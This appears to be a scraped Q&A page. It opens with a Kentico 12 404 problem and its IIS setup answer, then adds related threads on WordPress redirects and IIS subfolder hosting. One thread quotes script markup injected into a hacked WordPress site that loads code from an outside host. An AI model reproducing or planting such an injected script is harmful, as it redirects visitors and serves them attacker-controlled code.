I created a site in Kentico 12 and using the live viewer was working fine. Now its started 404ing every time I try to go to the site either by the URL: localhost:8080/Kentico12_[sitename] or by viewing the site through the live site feature. I a new site and it does the same thing. Additionally, page preview 404s as well. I have tried changing domain alias' and URL patterns but it doesn't seem to work. If anyone has a solution or some useful documentation to point mee toward that would be appreciated.
I can get into the back end of the site no problem by going to http:localhost8080:/Kentico12_Admin
I can reinstall Kentico 12 if needed but would rather avoid that.
Reinstalling is not the answer. Make sure you have the site properly setup in IIS first. A simple setup is to set the root of the site in IIS to the root of your MVC site. Then under that main site, create a virtual application and set that to the root of the CMS directory and call that virtual application "cms".
Then navigate to localhost/cms and you should be directed to the Kentico login page. Once you've logged into the Admin interface, update your site's domains. The Site domain name should be localhost/cms. The Presentation URL should be http://localhost.
If after you've made those changes and you're still getting 404's we'll have to look into other possible issues maybe in your web.config.
Related
This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.
I inherited a site that worked on the domain.
Hosted on a plesk server from GoDaddy.
I placed a new site on oldguard.org which is hosted on ionos (formerly 1and1) and is working fine as is...you can see it at https://oldguard.org.
I wanted to take the old site that use to be on oldguard.org (current plesk site) which I can't not get to load at all, and place it on a new domain http://demotoga.com.
I have checked the servers with the domains and everything seems to be pointing in the right directions. However, when you go to demotoga.com, you get redirected to oldguard.org which is hosting the new site. For some reason, the old site (plesk location files on Godaddy servers) will not load on demotoga.com no matter what I do. It just keeps redirecting to Oldguard.org.
I believe the problem lies in the web config file for the hosting files that are for the old site which use to live on oldguard.org but cannot locate why the site continues to redirect. Shouldn't the site appear on demotoga.com if everything matches up?
I've looked around and around and cannot find where it points to the oldguard.org URL. What other Information is needed to solve this issue? Happy to provide any coding or give additional information just not sure what is needed to solve this issue.
Full web config code can be found here:
https://www.oldguard.org/wp-content/uploads/2018/12/oldguard-oldwebconfig.pdf
I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.
In my new job, I "inherited" a website that is completely implemented by WordPress. That is, every URL that starts with that http://www.myjobdomain.com is somehow redirected/generated by WordPress and, if a page does not exist in that location, it provided a 404.
I am now trying to add a "side site" to that domain, that is a web app (or a few html pages) that are outside that WordPress-based site.
Is there a way to accomplish that in IIS 6.0?
I know that in Apache I can play with .htaccess and redirect/rewrite rules to accomplish what I want. But in IIS 6.0 I could not find any way to do this.
If such a way exists, how would I go about to this? Any instruction or guidelines would be sincerely appreciated.
P.S. In my IIS Manager, I could not find any tabs alluded to by this answer.
To accomplish what you want, all you need is to right-click your site in IIS Manager and select Add Application....
Unless your site is already configured to relay all control to WP. In such case, you may want to look into Microsoft's URL Rewrite module/extension.
I have searched this thoroughly, but can not fine the solution for IIS 7.
My client has an active website hosted on an IIS 7 server. I have created an WordPress website in a sub-folder of that directory.
Example: clientSite.com ~ clientSite.com/_dev/
I am looking for the steps to point the entire site to _dev folder, and be fully functional but not have it show the redirect. In other words, the _dev/ never shows in the site path, even though all pages and posts of the site are in the clientSite.com/_dev/ path. Essentially, I need to strip the _dev from ever being seen.
I have seen this done with Apache servers, but have not found anything on IIS server redirect cloaking.
The purpose for doing this is to have the site switched to the dev site until I can change the files and database to the original site url, then turn off the redirect.
You help is greatly appreciated!
Maybe this description can help you?
appcmd set config /section:httpRedirect /exactDestination:true | false